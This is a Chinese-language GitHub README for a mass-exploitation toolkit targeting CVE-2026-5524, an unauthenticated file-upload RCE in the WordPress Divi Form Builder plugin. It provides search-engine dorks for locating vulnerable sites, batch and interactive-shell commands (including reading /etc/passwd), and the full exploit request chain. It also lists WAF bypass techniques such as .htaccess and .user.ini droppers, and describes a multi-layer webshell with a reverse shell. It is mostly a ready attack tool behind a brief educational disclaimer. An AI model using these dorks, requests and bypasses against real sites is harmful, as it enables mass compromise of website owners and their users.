caterscam/CVE-2026-5524-PoC

GitHub: caterscam/CVE-2026-5524-PoC

针对 WordPress Divi Form Builder 插件未授权文件上传导致 RCE 漏洞(CVE-2026-5524)的批量利用与安全评估工具包。

Stars: 1 | Forks: 1

# CVE-2026-5524 — Divi Form Builder 未授权 RCE 针对 **CVE-2026-5524** 的批量漏洞利用工具包,这是 WordPress 插件 **Divi Form Builder <= 5.1.8** 中存在的一个未授权任意文件上传漏洞,可导致远程代码执行 (RCE)。 ![version](https://img.shields.io/badge/version-1.0.0-blue?style=flat-square) [![Devon Aji](https://img.shields.io/badge/author-Devon_Aji-orange?style=flat-square)](https://t.me/devonaji) ![python](https://img.shields.io/badge/python-3.8%2B-green?style=flat-square&logo=python) [![telegram](https://img.shields.io/badge/telegram-caterscam-2CA5E0?style=flat-square&logo=telegram)](https://t.me/caterscam) | 字段 | 值 | |-------|-------| | CVE | 2026-5524 | | CVSS | 9.8 (严重) | | Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | | 受影响版本 | Divi Form Builder <= 5.1.8 | | 已修复版本 | 5.1.9 | | 类型 | 未授权文件上传导致 RCE | | 研究员 | 0xd4rk5id3 - EnvoraSec | ## 目录 - [描述](#description) - [搜索语法 (Dorks)](#dorks) - [安装说明](#installation) - [用法](#usage) - [单一目标](#single-target) - [批量漏洞利用](#mass-exploit) - [高级绕过](#advanced-bypass) - [命令执行](#command-execution) - [漏洞详情](#vulnerability-details) - [绕过技术](#bypass-techniques) - [技术栈](#tech-stack) - [项目结构](#project-structure) - [攻击流程](#attack-flow) - [免责声明](#disclaimer) ## 描述 WordPress 的 Divi Form Builder 插件存在一个未授权任意文件上传漏洞。`do_image_upload()` 处理程序将用户可控的 `acceptFileTypes` POST 参数直接传递给用于验证文件扩展名的正则表达式。通过提供诸如 `phtml` 的值,攻击者可以绕过该插件仅阻止 `.php` 扩展名的 `.htaccess` 规则,从而上传带有 PHP 可执行扩展名(`.phtml`、`.phar`、`.php5`、`.php7` 等)的 webshell。 一旦文件存入 `/wp-content/uploads/de_fb_uploads/`,Apache 就会将其作为 PHP 执行,从而使攻击者能够以 web 服务器用户的身份实现远程代码执行。 此问题已在 Divi Form Builder 5.1.9 中得到修复。 ## 搜索语法 ### FOFA ``` body="de_fb_obj" && body="fb_nonce" ``` ### Shodan ``` http.html:"de_fb_obj" http.html:"fb_nonce" ``` ### Google ``` inurl:"/wp-content/plugins/divi-form-builder/" ``` ### ZoomEye ``` app:"WordPress" && body:"de_fb_obj" ``` ### Censys ``` services.http.response.body: "de_fb_obj" ``` ## 安装说明 环境要求:Linux、macOS 或 WSL 系统上的 Python 3.8 或更高版本。 ``` git clone https://github.com/caterscam/CVE-2026-5524-PoC/ cd CVE-2026-5524-PoC pip3 install -r requirements.txt ``` requirements.txt ``` requests>=2.28.0 urllib3>=1.26.0 ``` ## 用法 ### 单一目标 ``` python3 CVE-2026-5524.py -u https://target.com ``` ### 批量漏洞利用 ``` python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20 ``` ### 高级绕过 适用于位于 WAF (NinjaFirewall、Wordfence、ModSecurity) 之后,或具有强化 Apache 或 nginx 配置的目标。 ``` python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug ``` ### 命令执行 上传成功后,脚本可以立即执行命令或进入交互式 shell。 ``` python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd" python3 CVE-2026-5524.py -u https://target.com --shell ``` ### 参数标志 | 标志 | 描述 | |------|-------------| | `-u URL` | 单个目标 URL | | `-l FILE` | 包含目标列表的文件,每行一个 URL | | `-t N` | 并发线程数 (默认 10) | | `--timeout N` | 请求超时时间,以秒为单位 (默认 15) | | `-o FILE` | 将结果保存到 JSONL 输出文件 | | `--proxy URL` | 通过 HTTP 代理路由流量 | | `--nonce HASH` | 使用手动提供的 nonce,跳过自动检测 | | `--ext EXT` | 强制使用单个扩展名,而不是完整的绕过列表 | | `--shell` | 成功后进入交互式 RCE shell (仅限单个目标) | | `--cmd CMD` | 在目标上执行一条命令,然后退出 | | `--shell-file FILE` | 上传自定义的 shell payload,而不是内置的 | | `--no-verify` | 跳过上传后的 RCE 验证步骤 | | `--strict-verify` | 确认 shell URL 返回 HTTP 200 以过滤误报 | | `--user-ini` | 为 PHP-FPM 环境上传 `.user.ini` dropper | | `--htaccess` | 为 Apache 环境上传 `.htaccess` 重新启用程序 | | `--aggressive` | 启用所有可用的绕过技术 | | `--null-byte` | 包含空字节和双扩展名尝试 | | `--path-traversal` | 尝试上传到 `/uploads/YYYY/MM/` 子目录 | | `--debug` | 打印原始 HTTP 响应以进行诊断 | ## 漏洞详情 ### 漏洞代码 存在漏洞的处理程序在未经过滤的情况下直接利用用户输入构造正则表达式。 ``` public function do_image_upload() { $accepted = $_POST['acceptFileTypes']; $pattern = '/\\.(' . $accepted . ')$/i'; if (preg_match($pattern, $filename)) { move_uploaded_file($tmp, $dest); } } ``` 通过发送 `acceptFileTypes=phtml`,生成的正则表达式 `/\.(phtml)$/i` 将匹配以 `.phtml` 结尾的文件名,即使插件自身的 `.htaccess` 文件仅阻止了 `.php` 扩展名。随后,Apache 将上传的文件作为 PHP 执行,从而产生远程代码执行。 ### 确认的攻击链 1. 抓取嵌入了 Divi Form Builder 表单的页面 (`/`、`/contact`、`/quote` 等)。附加 `?nocache=` 参数以绕过 Varnish、WP Rocket 和其他页面缓存,否则这些缓存会提供过期的 nonce。 2. 从本地化的 JavaScript 对象中提取 `fb_nonce` 值: de_fb_obj = {"fb_nonce":"<10 位十六进制字符>", ...} 3. 向 `/wp-admin/admin-ajax.php` POST 一个 multipart 表单,包含: action=de_fb_image_upload fb_nonce= acceptFileTypes=phtml file=@shell.phtml 4. 从 JSON 响应中读取文件 URL: {"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]} 5. 使用 base64 编码的命令请求 shell: curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)" ## 绕过技术 | # | 技术 | 目标 | |---|-----------|---------| | 1 | 替代的 PHP 扩展名 `.phtml`、`.phar`、`.php5`、`.php7`、`.php4`、`.pht`、`.shtml` | 仅阻止 `.php` 的插件 `.htaccess` 规则 | | 2 | 大小写变化 `.PHTML`、`.PHP5`、`.PhTmL` | 区分大小写的 WAF 特征 (NinjaFirewall) | | 3 | 双扩展名 `.phtml.jpg`、`.php.jpg` | Apache `mod_mime` 内容协商的怪癖 | | 4 | 空字节 `.php%00.jpg`、`.phtml%00.txt` | 旧版 PHP (低于 5.3.4) 及某些解析器 | | 5 | 尾部空格或点 `.php `、`.php.` | Windows IIS 和较旧版本的 Apache | | 6 | Content-Type 欺骗 `application/octet-stream` | 依赖 multipart Content-Type 标头的 WAF | | 7 | 上传真实的 `.htaccess`,重新启用 `.gif`、`.png`、`.jpg`、`.txt`、`.html` 等的 PHP 执行 | 设置了 `AllowOverride All` 的 Apache 服务器 | | 8 | 上传带有 `auto_prepend_file` 的 `.user.ini` | PHP-FPM 环境 | | 9 | 通过 multipart boundary 操作进行文件名注入 | 重新解析请求体的代理和 WAF | | 10 | 文件名中的路径穿越 `../shell.phtml` | 插件的目录限制 | 该脚本按优先级顺序尝试每种技术,并且在设置了 `--aggressive` 时,即使首次上传报告成功,也会尝试所有技术。 ## 技术栈 ### 漏洞利用脚本 | 组件 | 技术 | |-----------|------------| | 语言 | Python 3.8+ | | HTTP 客户端 | `requests` | | TLS 处理 | 处理自签名证书时处于不安全模式的 `urllib3` | | 并发 | 用于批量扫描的 `concurrent.futures.ThreadPoolExecutor` | | 解析 | 用于提取 nonce 的 `re`,用于处理响应的 `json` | | 编码 | 用于 webshell 命令参数的 `base64` | | CLI | 具有 19 个可配置标志的 `argparse` | ### 自定义 shell (bypass.phtml) | 组件 | 技术 | |-----------|------------| | 语言 | PHP 7.0+ | | 执行函数 | `system()`、`shell_exec()`、`proc_open()`、`passthru()`、`popen()` | | 前端 | 纯 HTML 表单,无 JavaScript 框架 | | 特性 | 文件浏览器、命令执行、数据库访问、反弹 shell、自动安装的 `.htaccess` 和 `.user.ini` | | 大小 | 大约 16 KB | | 绕过层 | 六个独立的执行路径以及编码的 payload | ## 项目结构 ``` cve-2026-5524/ |-- CVE-2026-5524.py Main exploit script |-- bypass.phtml 16 KB multi-layer PHP webshell |-- htaccess_enable.phtml Dropper that writes a re-enabling .htaccess |-- user_ini.phtml Dropper that writes a .user.ini for PHP-FPM |-- targets.txt Example target list |-- pwned.jsonl Generated by the -o flag during mass scans |-- requirements.txt Python dependencies `-- README.md This document ``` ## 攻击流程 ``` +--------------------------------------------------+ | 1. Recon | | GET /?nocache= | | Parse fb_nonce from de_fb_obj | +-------------------------+------------------------+ | v +--------------------------------------------------+ | 2. Craft exploit | | POST /wp-admin/admin-ajax.php | | action=de_fb_image_upload | | acceptFileTypes=phtml | | file=@shell.phtml | +-------------------------+------------------------+ | v +--------------------------------------------------+ | 3. Server accepts and stores file | | /uploads/de_fb_uploads/.phtml | +-------------------------+------------------------+ | v +--------------------------------------------------+ | 4. Execute | | GET shell.phtml?x=base64(command) | | Remote code execution achieved | +--------------------------------------------------+ ``` ## 免责声明 本工具仅出于教育目的以及在授权的渗透测试活动中提供。可接受的用途示例包括: - 明确授权对目标进行测试的漏洞赏金计划 - 夺旗赛 (CTF) 竞赛和专用实验室环境 - 获得资产所有者书面许可的内部安全评估 - 在受控环境中进行的学术安全研究 在几乎所有的司法管辖区,未经授权对你不拥有或未获得明确书面测试许可的系统进行使用都是非法的,并受到严格禁止。对于滥用此代码的行为,作者不表示支持也不承担任何责任。 可能相关的法律包括印度尼西亚的 UU ITE、美国《计算机欺诈和滥用法》、欧盟《网络犯罪公约》以及其他地区的同等立法。如有疑问,请先获得书面授权。 ## 许可证 仅限教育用途。完整的使用条款请参阅免责声明部分。
标签:CISA项目, Python, Web安全, 批量攻击, 无后门, 编程工具, 蓝队分析, 远程代码执行, 逆向工具